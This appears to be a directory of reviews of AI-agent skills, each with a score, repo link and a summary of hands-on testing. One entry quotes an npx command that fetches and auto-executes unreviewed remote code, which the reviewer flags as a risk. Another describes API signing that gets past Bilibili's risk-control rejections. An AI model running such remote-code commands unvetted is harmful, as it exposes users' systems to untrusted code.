- **Arboreto** [pass, 8.8/10] — Infer gene regulatory networks from expression data with GRNBoost2/GENIE3, scaled via Dask. Repo: https://github.com/K-Dense-AI/scientific-agent-skills. Card: https://skillproof.dev/skills/arboreto. What we found: The Quick Start marks the `if __name__ == '__main__':` Dask guard as 'Critical' and repeats it in Troubleshooting; a baseline script assembled from general arboreto knowledge dropped that guard, which is a genuine hang/crash bug on macOS and Windows spawn-based multiprocessing.
- **Accessibility Aggregation** [setup, 8.8/10] — Merges ATAC-seq/DNase-seq peaks into a union chromatin map — needs a companion MCP server for data fetch. Repo: https://github.com/ammawla/encode-toolkit. Card: https://skillproof.dev/skills/accessibility-aggregation. What we found: Ran the actual bedtools pipeline on synthetic ATAC/DNase narrowPeak data: the skill's blocklist + signalValue + sub-nucleosomal filters correctly dropped a planted blacklist artifact and a 20bp Tn5 fragment that a naive baseline merge kept as false 'accessible regions', but its own confidence-tier AWK logic makes the 'Supported' tier unreachable for N<=4 samples, and the ENCODE search/download steps need a separate encode-toolkit MCP server not included in the skill folder.
- **Psy Ana Coder** [setup, 8.8/10] — Turns a finalized psych-stats config YAML into a full R or Python analysis script. Repo: https://github.com/soupandpsy/amazing-psycoder-skills. Card: https://skillproof.dev/skills/psy-ana-coder. What we found: Ran a real Stroop-task dataset through it: the skill-following script hit all 8 documented red lines (seed, exclusion log, assumption tests, effect sizes, env info) that a plain baseline script skipped entirely, and it correctly used a mixed model instead of the baseline's naive paired t-test on aggregated means. Docked to 'setup' because SKILL.md links '../SKILL.md' and '../psy-ana-designer/plots/' — both outside the psy-ana-coder folder, so a verbatim single-skill copy breaks those references.
- **AI Dataset Generator** [pass, 8.8/10] — SQLite-backed pipeline that generates, verifies, dedupes, and exports SFT/DPO training datasets. Repo: https://github.com/Bhanunamikaze/AI-Dataset-Generator. Card: https://skillproof.dev/skills/dataset-generator. What we found: Ran the real SQLite pipeline end to end (import 5 drafted Python-comprehension SFT records, adversarial LLM-judge review, dedup, export) and it produced a working flat_train.jsonl plus a genuinely useful DATA_CARD.md with judge-score and difficulty distributions - but the exact two-step verify command sequence printed in SKILL.md's own numbered workflow silently processes 0 records the second time because step 6 already moved records out of the raw_generated status step 7 filters on.
- **Fetch Investments (Findash)** [setup, 8.8/10] — Pull IBKR trade history and positions into the findash SQLite ledger via the official connector. Repo: https://github.com/ya5huk/findash. Card: https://skillproof.dev/skills/fetch-investments. What we found: Genuinely sophisticated read-only ingestion logic (dedup keys, GBp/GBX minor-unit gotchas, cutoff-based incremental trade pulls) and the 'Anthropic-certified IBKR connector' claim checks out (confirmed via claude.com/connectors/interactive-brokers), but a bare `cp -r` of just this skill folder breaks its ../../docs/live-sources.md and ../../docs/sqlite-schema.md links and assumes a pre-existing data/finance.db built by the plugin's other skills.
- **Apache Spark (Learning Spark 2nd Ed.)** [pass, 8.8/10] — Exam-tuned Spark cheat-sheet from 'Learning Spark 2nd Ed.' that flags its own 2020 knowledge cutoff. Repo: https://github.com/Galius5136/databricks-spark-3.5-cert-prep. Card: https://skillproof.dev/skills/apache-spark. What we found: On a broadcast-vs-shuffle-join question the skill's join-strategy table covered all 5 real strategies (BHJ/SMJ/SHJ/BNLJ/Cartesian) against a generic baseline that only named 2, and it proactively disclosed its own blind spot ('this book was published in 2020... Spark Connect, Pandas API on Spark, AQE-on-by-default are not covered') rather than silently guessing at post-2020 material.
- **Auto.dev** [setup, 8.8/10] — VIN decode, listings, recalls and payment-calc APIs for AI agents, gated behind an Auto.dev account Repo: https://github.com/drivly/auto-dev-skill. Card: https://skillproof.dev/skills/auto-dev. What we found: Actually ran the bundled CLI live (`npx @auto.dev/sdk decode <VIN>`) -- it correctly refused to hallucinate and threw the documented 'No API key found. Set AUTODEV_API_KEY or run: auto login' error instead of guessing vehicle data, exactly as SKILL.md promises, but that also means zero real output is possible without an Auto.dev account and per-call data fees.
- **Explore Data** [pass, 8.8/10] — Profiles a table or file end-to-end: nulls, cardinality, outliers, and next-step analyses. Repo: https://github.com/HalalifyMusic/fable-mode. Card: https://skillproof.dev/skills/explore-data. What we found: Run on a deliberately messy 10-row orders.csv, it caught every planted issue (USA/usa casing, a -15 refund, a 999999/'TBD' placeholder row, a duplicate C004 order, a 2099 future date, a null customer_id) and packaged it with severity bands and 5 concrete follow-up analyses — the unguided baseline caught the same issues but as an unstructured list with no severity or next-step framing.
- **Running Coach** [setup, 8.8/10] — Conversational weekly coaching session comparing your actual training log against the training plan. Repo: https://github.com/ColinEberhardt/claude-running-coach. Card: https://skillproof.dev/skills/running-coach. What we found: The skill's own "Strava" data-source menu option silently can't work if you install just this skill folder — `running-coach/SKILL.md` dispatches to a sibling `strava-sync` skill that lives in a separate directory one level up and isn't included by a plain copy of the running-coach folder; the manual-log/other-platform/conversational paths still work standalone.
- **BBC Skill (Bilibili Comment Collector)** [setup, 8.8/10] — Fetches all Bilibili video comments via WBI-signed API calls into JSONL. Repo: https://github.com/Agents365-ai/bbc-skill. Card: https://skillproof.dev/skills/bbc-skill. What we found: Naive curl calls to Bilibili's comment/view APIs without WBI signing were rejected outright (code -352 risk-control, 62012 comment-area-closed); the skill's src/bbc/wbi.py implements the real MD5 mixin-key signing algorithm that makes the calls succeed, so this is solving an actual technical barrier, not just wrapping a public API. Real friction: it needs a logged-in Bilibili cookie the tester can't supply in a sandboxed run, so full fetch/summarize was verified via schema+dry-run only, not a live comment pull.
- **Math Modeling** [pass, 8.8/10] — Three-role pipeline for modeling contests: analyze, code, then write the paper Repo: https://github.com/XiaoMaColtAI/math-modeling-skill. Card: https://skillproof.dev/skills/math-modeling. What we found: Ran the programmer-stage contract on a small profit-maximization LP: the answer matched a no-skill baseline (optimum profit 3600), but the skill additionally emitted a results CSV and a results/复现清单.json carrying the seed, input SHA-256, dependency versions and a reproduce command that I re-ran to the identical result. All three role files plus the algorithm index resolve on disk, and the skill honestly warns the generated paper is reference-only, not directly submittable. The headline Word-paper stage (editable-equation docx via LibreOffice) could not be exercised because soffice was absent, so the verified win is the reproducibility discipline, not the final paper.
- **ClinicalTrials Study Search** [pass, 8.8/10] — Queries the current ClinicalTrials.gov v2 API and saves structured study metadata Repo: https://github.com/ma-compbio-lab/SkillFoundry. Card: https://skillproof.dev/skills/clinicaltrials-study-search. What we found: Ran the bundled script live: it returned two real melanoma studies from the ClinicalTrials.gov v2 API with valid NCT IDs and titles. The no-skill baseline endpoints a model typically reaches for (api/query/study_fields and full_studies) both returned HTTP 404, while the skill's v2 endpoint returned 200, so it demonstrably avoids the dead legacy API. It is a thin wrapper, but the win is concrete and reproducible.
- **SQL Query Generator** [pass, 8.4/10] — Prompt-only SQL generator that always returns query + explanation + performance notes + test script for BigQuery/Postgres/MySQL/Snowflake — no schema-parsing tooling of its own. Repo: https://github.com/phuryn/pm-skills. Card: https://skillproof.dev/skills/sql-queries. What we found: Fed it a two-table schema and asked for a Postgres cohort-revenue query: the SQL itself came out identical to an unguided answer, and the skill's only real value-add was forcing the mandated four-part deliverable (query + explanation + perf notes + test script). Ends with a 'Further Reading' footer linking the author's own newsletter — not an injected instruction, but a self-promotional touch worth disclosing.
- **Monte Carlo Context Detection** [setup, 8.4/10] — Routes ambiguous Monte Carlo data-quality requests to the right sub-skill instead of guessing. Repo: https://github.com/monte-carlo-data/mc-agent-toolkit. Card: https://skillproof.dev/skills/monte-carlo-context-detection. What we found: The routing logic itself works well and correctly declines to fire on clear-cut requests like 'check health of orders table', but it's only useful bundled with 5 sibling skills it hands off to via relative paths -- copying just this one SKILL.md, as a normal single-skill install would, leaves it routing to files that don't exist.
- **Monte Carlo Incident Response** [setup, 8.4/10] — Sequences Monte Carlo's triage, root-cause, and fix skills for data incidents. Repo: https://github.com/monte-carlo-data/mc-agent-toolkit. Card: https://skillproof.dev/skills/monte-carlo-incident-response. What we found: Confirmed all four sibling skills it chains to actually exist in the repo, but the file is inert alone — it needs the whole mc-agent-toolkit clone plus a live, credentialed Monte Carlo MCP connection before it can pull a single alert.
- **Monte Carlo Proactive Monitoring** [setup, 8.4/10] — Routes coverage-gap analysis into monitor creation across a Monte Carlo data estate. Repo: https://github.com/monte-carlo-data/mc-agent-toolkit. Card: https://skillproof.dev/skills/monte-carlo-proactive-monitoring. What we found: Pure routing logic with no coverage-analysis code of its own -- it correctly hands off with the right framing ('coverage analysis' vs 'monitor creation') so its sibling skill doesn't confuse the two flows, but the two skills it references by relative path (../asset-health, ../monitoring-advisor) aren't included if you copy only this one folder, so all three dirs need installing together.
- **Business Health Diagnostic** [pass, 8.4/10] — Scores SaaS growth, retention, unit economics and burn against stage benchmarks and names a risk pattern. Repo: https://github.com/deanpeters/Product-Manager-Skills. Card: https://skillproof.dev/skills/business-health-diagnostic. What we found: Given a messy real-looking growth-stage SaaS metric set (35% growth, NRR 91%, Rule of 40 far under 25, 8-month runway), it correctly computed Rule of 40, picked the right named diagnostic pattern (Moderate, not Concerning) per its own threshold table, and explicitly flagged the missing Magic Number as a gap rather than guessing it — a baseline answer gave the same directional advice but with no thresholds, no computed Rule of 40, and no named severity tier. The SKILL.md points to an `examples/` folder and a sibling `workshop-facilitation` skill for its interaction protocol; the examples folder does not exist in the repo at all (directory listing confirms only SKILL.md is present) and workshop-facilitation lives outside the skill's own install path.
- **Spark Advisor** [pass, 8.4/10] — Turns Spark History Server metrics into severity-rated skew/GC/shuffle findings with exact thresholds. Repo: https://github.com/yaooqinn/spark-history-cli. Card: https://skillproof.dev/skills/spark-advisor. What we found: pip install spark-history-cli succeeded for real and the CLI runs, but this sandbox has no Java/Spark to stand up a real History Server, so the diagnostic thresholds (p95/p50>10x skew, GC>20%, shuffle>2x input) were verified against a described metrics scenario rather than a live pull — evidence, not faith. Worth flagging: the repo ships two SKILL.md copies (skills/spark-advisor and spark_history_cli/skills/spark-advisor) and the packaged one is stale, missing the Quick Start and SQL Plan Analysis sections present in the canonical top-level copy used for install.
- **D3.js Visualization** [pass, 8.4/10] — D3.js chart-building patterns: scales, data joins, tooltips, responsive resize, accessibility. Repo: https://github.com/AutumnsGrove/ClaudeSkills. Card: https://skillproof.dev/skills/d3js-visualization. What we found: Skill-guided chart added a debounced 250ms resize handler, viewBox-based responsive scaling, and an accessibility/colorblind-palette checklist - details a freehand D3 answer skipped; D3 basics are already solid in the baseline so the gap is real but not night-and-day.
- **Fabric Data Agent Remediate** [pass, 8.4/10] — Decision-tree diagnosis for Microsoft Fabric Data Agent: tenant settings, XMLA, query failures, publishing. Repo: https://github.com/PatrickGallucci/fabric-skills. Card: https://skillproof.dev/skills/fabric-data-agent-remediate. What we found: Ran a real broken-link check: the SKILL.md's own Quick Diagnosis Workflow and References section both point to './references/query-remediate.md', but the file actually shipped in the repo is 'query-troubleshooting.md' — a dead internal link an agent has to work around by listing the directory. Content itself (once found) is genuinely specific: the preview-limitations table (English-only, 100-example-query cap, conversation history resets) beats generic troubleshooting advice.
- **Six Sigma in R** [pass, 8.4/10] — Correct R code for SPC control charts, Cp/Cpk/Pp/Ppk, DPMO, and DMAIC method selection. Repo: https://github.com/robustagile/six-sigma-in-r-skill. Card: https://skillproof.dev/skills/six-sigma-r. What we found: Ran the exact 'is my process capable' capability-study prompt from the repo's own evals.json twice: the baseline produced one unlabeled Cpk number off sd(x); the skill version, following capability_sigma_level.md, produced Cp/Cpk AND Pp/Ppk with an explicit sigma-estimator caveat, a Shapiro-Wilk normality check, and a saved histogram -- a real completeness gap, not cosmetic. Docked hard on docs: the README's headline benchmark ('30/30', '36/36 vs 34/36') points to an eval-workspace/ directory that does not exist in the shipped repo (404 on raw fetch and absent from the GitHub API file listing).
- **Multipar CLI** [setup, 8.4/10] — Solid PAR2 redundancy/repair reference guide — but every example is par2j64.exe (Windows-only). Repo: https://github.com/DoiiarX/claude-skills. Card: https://skillproof.dev/skills/multipar-cli. What we found: Ran a real create->corrupt->repair cycle: `par2j64.exe` (as literally documented) is 'command not found' on Mac, but swapping in Homebrew's `par2` with the exact same flags the skill teaches (-r10, -r100, c/v/r) worked end-to-end, and the skill's own redundancy-tier and troubleshooting guidance correctly predicted and then fixed an under-redundancy repair failure I hit mid-test.
- **Security OSINT** [setup, 8.4/10] — Twitter/Reddit CVE and breach chatter monitoring, but real use needs a paid Xpoz account Repo: https://github.com/XPOZpublic/xpoz-agent-skills. Card: https://skillproof.dev/skills/security-osint. What we found: Report template and query-building logic are genuinely more rigorous than an ad-hoc search, but every path (MCP/SDK/CLI/API) is gated behind a Xpoz account and API key, so it can't produce a real result out of the box.
- **R Analytics** [pass, 8.4/10] — R workflow cheat sheet plus 358 nested sub-skill files for tidyverse, ggplot2, stats, and ML. Repo: https://github.com/LeoLin990405/r-analytics-skill. Card: https://skillproof.dev/skills/r-analytics. What we found: Ran a real baseline-vs-skill R data task: both produced correct per-category means, but the skill's ggplot2/readr/dplyr pipeline output a 300dpi colored bar chart with a legend vs. the baseline's plain low-res base-R barplot. The top-level SKILL.md's own sub-skill table lists only 12 of the 16 actual sub-skill directories (r-syntax, r-language-api, r-logging, r-learning are undocumented there), and the repo ships unused skill-creator placeholder files (scripts/example.py, assets/example_asset.txt).
- **D3 Viz** [pass, 8.4/10] — Bespoke interactive d3.js charts, maps and network diagrams Repo: https://github.com/chrisvoncsefalvay/claude-d3js-skill. Card: https://skillproof.dev/skills/d3-viz. What we found: Task: grouped bar chart (revenue by quarter × 3 regions), both versions actually executed in node 24 with d3 7.9.0 + jsdom, result measured by final SVG. Baseline version (without skill) calculated bar width manually as i*barWidth — 12 rects, 0 errors, but the gap between bars within a group was exactly 0px, bars merged, palette was random (steelblue/orange/green). Skill version uses a nested x1Scale with padding(0.05) from references/d3-patterns.md — same 12 rects and 18 axis ticks, but measured gap 2.59px and d3.schemeCategory10 palette. A real limitation found: the pattern strictly sets domain [0, max], and for a negative value, it produced an invalid SVG rect with height=-78.46 — the skill does not cover negative bars. All 6 files from references/ and assets/ are in place and sample-data.json is valid (6 datasets), but SKILL.md names templates chart-template.js, whereas on disk they are .jsx. Stage 0 clean: read entire SKILL.md (820 lines) and 3 reference files, no exfiltration, hidden instructions, or network calls.
- **Optim-Agent** [pass, 8.4/10] — Disciplined ask/tell loop for black-box parameter tuning against a measurable objective Repo: https://github.com/Optim-Agent/optim-agent. Card: https://skillproof.dev/skills/optim-agent. What we found: Ran a real 12-evaluation black-box minimisation both ways: the skill's disciplined ask/tell loop (baseline first, explore then exploit over recorded history) reached objective 0.03 right next to the true optimum, while unaided intuition-guessing stalled at 1.58 at the same budget -- about 98% lower. Worth flagging that the pip package is essentially an ask/tell ledger (its only samplers are Random and AgentSampler), so the win comes from the prescribed workflow, not a built-in Bayesian optimiser.
- **China 3-Statement Model** [pass, 8.4/10] — Integrated IS/BS/CF models for A-share stocks under Chinese Accounting Standards (CAS) Repo: https://github.com/jwangkun/claude-for-financial-services-cn. Card: https://skillproof.dev/skills/china-3-statement-model. What we found: Asked for the China-specific checks and CAS adjustments for an A-share model both with and without the skill: the skill supplied a dozen concrete items the baseline missed, including the exact Chinese line-item taxonomy, a retained-earnings roll-forward that nets 提取盈余公积, the 高新技术企业 15% tax flag, a 商誉>30%-of-equity flag, and 元/千元 unit normalization. It loses a point because it contradicts itself on R&D (its diff table says R&D 'can be capitalized under CAS' while the body flatly says CAS 'requires R&D to be expensed' — the latter is wrong under CAS 6). The AkShare/Wind/iFind data-retrieval half needs paid MCP keys and was left unmeasured.
- **A/B Test Setup** [pass, 8.4/10] — Gated checklist that blocks invalid A/B tests before any code is written Repo: https://github.com/sickn33/agentic-awesome-skills. Card: https://skillproof.dev/skills/ab-test-setup. What we found: Asked both to set up a signup-button color test: the baseline gave loose 'pick a metric and check significance' advice, while the skill forced an MDE and sample-size estimate (exposing that a tiny color effect needs large traffic) and ran a five-step tracking-verification checklist plus explicit refusal conditions the baseline skipped. It is a single self-contained SKILL.md with no bundled scripts; the trailing generic 'When to Use / Limitations' boilerplate adds nothing.
- **SentencePiece Tokenizer** [pass, 8/10] — Reference skill for training/using Google's language-independent BPE/Unigram tokenizer. Repo: https://github.com/Orchestra-Research/AI-Research-SKILLs. Card: https://skillproof.dev/skills/sentencepiece. What we found: For a multilingual tokenizer setup, general knowledge already got near-equivalent code since the library is well documented; the main gain was a coverage table, though its cited performance numbers were unsourced.
- **Cohort Analysis** [pass, 8/10] — Runs cohort analysis on retention curves, feature adoption, and churn patterns. Repo: https://github.com/phuryn/pm-skills. Card: https://skillproof.dev/skills/cohort-analysis. What we found: Tested verbatim install (clean, single self-contained SKILL.md), a 6-prompt trigger battery (4/4 fire, 2/2 adjacent stay quiet), and a hand-verifiable 12-user/3-cohort retention task. Both skill and base arms produced the exact correct retention triangle (Jan 100/66.7/33.3/33.3%, Feb 100/75/50%, Mar 100/60%) with proper omission of unobservable cells. The skill arm edged out base by adding a data-quality summary, a longer-term flattening insight, targeted follow-up-research recommendations, and a small-sample caveat — better completeness, same numerical accuracy.
- **Sheets CLI** [setup, 8/10] — Deterministic CLI for reading and updating Google Sheets by key, with dry-run safety. Repo: https://github.com/gmickel/sheets-cli. Card: https://skillproof.dev/skills/sheets-cli. What we found: SKILL.md says the CLI is 'already installed... no installation needed,' but the repo's own README requires a Bun build plus a full Google Cloud OAuth setup before any command runs — real friction the skill body doesn't disclose.
- **Pinecone Quickstart** [setup, 8/10] — Interactive Pinecone onboarding: build a vector index or a document Q&A assistant, step by step. Repo: https://github.com/pinecone-io/gemini-cli-extension. Card: https://skillproof.dev/skills/quickstart. What we found: Path A (Database) is fully self-contained and its bundled upsert.py/quickstart_complete.py compile and run cleanly against real Pinecone SDK calls; Path B (Assistant) calls `../assistant/scripts/create.py` — a sibling skill folder that isn't included if you copy only `skills/quickstart`, so a standalone install silently breaks half the skill.
- **Scrape Analyze Page** [setup, 8/10] — Extracts every field + value from a saved HTML page, optionally against a JSON schema. Repo: https://github.com/zytedata/claude-skills. Card: https://skillproof.dev/skills/scrape-analyze-page. What we found: Ran it live on a fixture product page with JSON-LD: clean_html.py + extract_metadata.py (needs uv) correctly split visible DOM from structured metadata and the merged extraction matched a hand-done baseline field for field — but SKILL.md hard-codes `${CLAUDE_SKILL_DIR}/../scrape/references/python-environments.md`, a sibling-skill file that does not exist after a verbatim single-skill copy.
- **Follow AleaBito** [setup, 8/10] — Fetches one X account's posts into Chinese digests and ticker-mention CSVs Repo: https://github.com/lanfuli/aleabito-serenity-skills. Card: https://skillproof.dev/skills/follow-aleabito. What we found: Asked for a sourced digest of the tracked X account: plain WebFetch on x.com returned HTTP 402 and zero posts, while the skill's bundled fetcher pulled 5 real posts with working status URLs plus a deterministic ticker leaderboard (NBIS 3, CIFR/CRWV/IREN/WULF 2 each). The catch is freshness — with no X_BEARER_TOKEN the public syndication fallback returned nothing newer than 2025-11-12, roughly eight months stale, so the headline daily digest needs a paid X API token to work at all. To its credit the fetcher flags this itself in a warnings field rather than inventing posts, and every scripted path refuses to fabricate prices or links. Note it is hard-wired to one account and its setup commands point at a Codex home path, not ~/.claude/skills.
- **T-Invest** [setup, 8/10] — Read-only-by-default access to a T-Invest (Tinkoff) brokerage account via a bundled CLI Repo: https://github.com/nyxandro/t-invest-skill. Card: https://skillproof.dev/skills/t-invest. What we found: The bundled CLI is genuinely safety-engineered: from a bare install I watched all three documented gates fire live — a data command with no session returns SESSION_REQUIRED, session start with no token returns TOKEN_MISSING, and an order in readonly returns TRADING_FORBIDDEN. The actual data deliverable (real portfolio, quotes, screeners) is behind a login wall: it needs a real Т-Инвестиции API token, and a fake token reached the live tinkoff.ru API and came back UNAUTHORIZED, so no data delta versus baseline could be measured. Token is only ever sent as a Bearer header to invest-public-api.tinkoff.ru; no exfiltration or covert behavior found.
- **Auto-Empirical Research Skills Router** [setup, 8/10] — Router over 1,151 vendored empirical-research skills for causal inference and econometrics Repo: https://github.com/brycewang-stanford/Auto-Empirical-Research-Skills. Card: https://skillproof.dev/skills/auto-empirical-research-skills. What we found: The catalog is real: catalog/skills.json holds 1,151 valid entries keyed by qualified_name with paths, and a DiD event-study request routes correctly to skills/50-brycewang-aer-skills and the causal-inference-mixtape collection. But it is a router that only defers to child skills, so it produced no measurable output edge over a direct answer, and installing it means copying a 37k-file repo as one skill; a shallow clone even leaves the 69-Paper-WorkFlow submodule target empty.
- **File Processing** [setup, 8/10] — Load, clean, aggregate and convert CSV/JSON files via stdlib Python helpers Repo: https://github.com/aws-samples/sample-strands-agents-agentskills. Card: https://skillproof.dev/skills/file-processing. What we found: Ran the bundled process.py live on a 7-row sales CSV: dedupe, group-by aggregation and describe_data all returned correct numbers. But an ad-hoc stdlib script I wrote with no skill produced byte-identical totals, means and counts, so it saves a bit of typing without beating the baseline. Clean, well-documented convenience helpers with no measurable edge over an agent writing the same code inline.
- **anndata** [setup, 7.6/10] — Works with .h5ad annotated matrix files for single-cell data in the scverse ecosystem. Repo: https://github.com/K-Dense-AI/scientific-agent-skills. Card: https://skillproof.dev/skills/anndata. What we found: Verbatim install (git clone + cp) works cleanly; SKILL.md frontmatter parses as strict YAML with all 5 referenced files present, and every documented API (AnnData construction, ad.concat, sparse conversion, h5ad backed-mode I/O, zarr settings) runs correctly against the real anndata package. On an A/B build-and-filter-an-AnnData task the skill and base arms produced functionally identical, correct, idiomatic scripts (both dropped the all-zero cell, both wrote/reloaded h5ad in backed mode) so the skill added no measurable output advantage on this task. Requires the anndata Python package installed (pip install anndata); no API keys or external services needed.
- **Segment Analysis** [setup, 7.6/10] — PostHog-backed cohort/segment retention and comparison analysis — needs the plugin's PostHog MCP wired up separately. Repo: https://github.com/coalesce-labs/catalyst. Card: https://skillproof.dev/skills/segment-analysis. What we found: allowed-tools is just Task + TodoWrite — the skill has no query logic of its own; the real work needs the PostHog MCP server declared in the plugin's .claude-plugin/.mcp.json (with a POSTHOG_AUTH_HEADER token) which a verbatim skill-folder copy leaves behind, so it's inert until someone wires up PostHog access by hand.
- **N8N DataTables Admin** [setup, 7.6/10] — Curl recipes for n8n DataTable CRUD (tables/columns/rows) via the public v1 REST API. Repo: https://github.com/neurawork-git/n8n-autopilot. Card: https://skillproof.dev/skills/data-tables. What we found: Gets the actual n8n v1 DataTables endpoint and auth header right (curl + X-N8N-API-KEY on /api/v1/data-tables) where a generic guess would reach for the nonexistent n8nac CLI subcommand instead, but two of its own cited reference docs (feedback_curl_umlaut_body.md, feedback_n8n_datatable_upsert.md) don't exist anywhere in the repo, and the 'PreToolUse hook carve-out' it leans on for its curl permission model lives in the parent plugin, not in this skill folder.
- **FRED Macro Series** [setup, 7.6/10] — Live US/global macro series (CPI, GDP, yields, M2) from the St. Louis Fed API Repo: https://github.com/Innei/kansoku. Card: https://skillproof.dev/skills/fred. What we found: The scripts import a sibling _shared/ module, so a fred-only copy dies with ModuleNotFoundError on the first run; you must also copy .claude/skills/_shared (verified: with it, series.py resolved alias CPI to CPIAUCSL and reached the FRED API, failing only on the placeholder key). Machinery is real and clean, but the live-data payoff is gated behind a free FRED_API_KEY, so no delta over baseline could actually be measured -- setup, not pass.
- **Analyze Results** [setup, 6.8/10] — Computes statistics and comparison tables from ML experiment results. Repo: https://github.com/wanshuiyin/Auto-claude-code-research-in-sleep. Card: https://skillproof.dev/skills/analyze-results. What we found: Tested on a 3-config x 3-seed accuracy/loss sweep with one planted diverged run (config_B seed 2 at 0.400 vs 0.78/0.79 siblings). Verbatim install (git clone + cp) works cleanly; the skill is a single self-contained prompt-workflow SKILL.md with no scripts, API keys, or external deps. In the A/B, both the skill arm and the plain base arm correctly flagged the outlier, computed correct deltas vs baseline, and surfaced the config_A-vs-config_B ranking caveat with equal statistical soundness and presentation, so the skill added no measurable lift over an unskilled agent on this task.
- **Nutmeg Acquire** [setup, 6.8/10] — Football-data acquisition guide (StatsBomb, FBref, SportMonks) — full accuracy-guardrail features need the rest of the Nutmeg plugin, not just this folder. Repo: https://github.com/withqwerty/nutmeg. Card: https://skillproof.dev/skills/nutmeg-acquire. What we found: For a plain 'get me StatsBomb events data' task the skill's snippet matched a baseline answer almost exactly - the actual differentiator (forcing MCP-verified provider facts instead of guessed qualifier IDs) never got exercised because the skill's own mandatory first step, `docs/accuracy-guardrail.md`, and its entity-resolution routing doc live at the nutmeg repo root, not inside skills/acquire/, so a single-skill copy silently drops them; the project's own README confirms a 'skills only' install ships without the MCP docs server too.
- **SenseNova Excel Data Analysis Workflow** [setup, 6.8/10] — Six-step Excel pipeline: count, gate, clean, filter, aggregate, export Repo: https://github.com/OpenSenseNova/SenseNova-Skills. Card: https://skillproof.dev/skills/sn-da-excel-workflow. What we found: Task: on a real generated .xlsx (2 sheets, 12,000 rows, 400 missing values in '得分', 300 contaminated values in '部门', column named '是否通 过' with a space) count rows per sheet, clean data, calculate the proportion passed by department, and export the result. Baseline run without skill crashed with KeyError: 'Column not found: 是否通过' — exactly on the trap warned about in the skill's Key rules section ('Column names may contain spaces'); after manual fix, it ran but exported a file with 400 uncleansed NaN. Skill run exported 0 NaN and correctly hit the 10k-gate (12,003 rows → 10k–100k band → Parquet cache). Fair counter-argument: at this size, optimization turned out to be pessimization — 5.8 s and peak 57.4 MB vs. 2.9 s and 20.6 MB for naive pandas, meaning the Parquet roundtrip at the lower bound of its own band only hinders. Main reason for setup verdict: the skill is written for the SenseNova host sandbox and contains non-portable paths (/mnt/data/result.xlsx, fonts /mnt/afs_agents/SimHei.ttf, links like 'sandbox:'), and the ≥100k rows branch requires the neighboring skill sn-da-large-file-analysis, which is NOT installed by the installation command — it needs to be copied separately. Stage 0 clean: body (288 lines) and 40 capability files read, no network or exfiltration.
- **CSV Data Summarizer** [setup, 6.8/10] — Runs pandas on a CSV and auto-generates stats plus four charts Repo: https://github.com/coffeefuelbump/csv-data-summarizer-claude-skill. Card: https://skillproof.dev/skills/csv-data-summarizer. What we found: Task: run a summary analysis on resources/sample.csv (20 rows) — first without the skill, then with the analyze.py bundle. Baseline (regular pandas: describe + isnull + head) yielded only text and 0 graphs; the skill produced 4 valid PNGs (verified by file: 2100x1500 RGBA), correlations (quantity/revenue 0.394), and category breakdowns — with no failures on three datasets and an edge case with missing values. But a real bug was found: the date detector caught the substring 'time', so on the repository's own showcase file, the customer_lifetime_value column (2400, 8500) silently went into pd.to_datetime and printed the section 'Date range: 1970-01-01 00:00:00.000002400, Span: 0 days' — fabricating a non-existent time series. The date column additionally ended up in categorical analysis (each date at 5%). README promised 'Intelligent & Adaptive — automatically detects data type (sales, customer, financial)', but analyze.py had no data type detection branches: the logic was fixed, all 'adaptivity' was a text instruction for the model, hence docs 2/5. It required pip install pandas/matplotlib/seaborn, hence setup.
- **HTML PPT: Pitch Deck** [setup, 6.4/10] — Builds a 10-slide investor pitch deck with traction charts and an ask slide. Repo: https://github.com/nexu-io/open-design. Card: https://skillproof.dev/skills/html-ppt-pitch-deck. What we found: Documented install (clone + one cp) is a thin pointer: every authoring instruction references a sibling html-ppt master skill that the command never copies, so the skill is inert until you add one extra cp of design-templates/html-ppt — after that rescue everything resolves (templates, 36 themes, runtime). A/B on a 3-slide investor teaser: the skill arm produced a real presentation (keyboard navigation, progress bar, presenter mode with notes/timer, print-to-PDF styles) in the template's polished gradient visual system, while the base arm produced a static scroll page — visually about as strong, with more per-slide variety and no JS dependency. Net: the skill's edge is the deck runtime and investor-deck conventions, not raw visual quality; if JS fails its slides render blank, whereas the base page always renders.
- **AI Readiness Assess** [setup, 5.2/10] — Runs an AI-readiness assessment on a repo and renders an HTML score dashboard. Repo: https://github.com/github/awesome-copilot. Card: https://skillproof.dev/skills/acreadiness-assess. What we found: Two blockers: the given install command copies only skills/acreadiness-assess/ and never brings over the @ai-readiness-reporter custom agent (agents/ai-readiness-reporter.agent.md) that SKILL.md step 4 hands rendering off to, so a plain Claude Code install is missing half the pipeline; and the skill's core mechanism, `npx -y github:microsoft/agentrc readiness`, downloads and auto-executes unreviewed third-party code on every run (blocked here by sandbox safety policy). In the A/B, the base arm produced a complete, self-contained HTML readiness dashboard straight from the inline repo data with no remote code execution, matching the skill's output quality; the skill's only edge was a richer bundled rubric (9 AgentRC pillars, AI-relevance badges), and its signature automated-scan value-add never materialized because the CLI could not be run.
- **GitHub: Create PR** [fails, null/10] — Creates or updates a GitHub PR filling every section of the required template. Repo: https://github.com/CherryHQ/cherry-studio. Card: https://skillproof.dev/skills/gh-create-pr. What we found: Full install/trigger/output test: verbatim clone+copy install worked cleanly with valid strict-YAML frontmatter, and the trigger description is well-scoped (4/4 PR-creation prompts fire, 2/2 adjacent review/merge prompts correctly don't). A/B on drafting a template-compliant PR body showed no quality gain over baseline — both arms filled every section correctly, and the baseline was actually slightly more accurate (it caught a 'backoff' misclaim in the commit message); the skill's value is workflow discipline (template reading, preview gate, base-branch rules), not writing quality. Note: the real workflow hard-requires an authenticated gh CLI and a live remote; tested here as a dry-run against a local throwaway repo, stopping at the drafted title/body.
- **aeon** [fails, null/10] — Applies time-series machine learning — classification, forecasting, anomaly detection. Repo: https://github.com/K-Dense-AI/scientific-agent-skills. Card: https://skillproof.dev/skills/aeon. What we found: Tested install (verbatim git-clone + cp, clean; strict-YAML frontmatter, all 11 reference files present), a 6-prompt trigger battery, and an anomaly-detection OUTPUT task against a base (no-skill) arm. The classification quick-start (RocketClassifier + GunPoint) runs exactly as written, but the anomaly_detection quick-start `from aeon.anomaly_detection import STOMP` is broken in aeon 1.5.0 (real path `aeon.anomaly_detection.series.distance_based.STOMP`) and silently needs undocumented soft deps stumpy and psutil — psutil isn't even covered by the documented `aeon[all_extras]` fallback. A/B: the skill arm used genuine aeon STOMP and correctly located the anomalous segment, but a plain-NumPy base arm matched it and was actually crisper (exact segment 40-44, correct peak point, clean separation), so the specialized algorithm added no edge on this task and came with import/dependency friction.
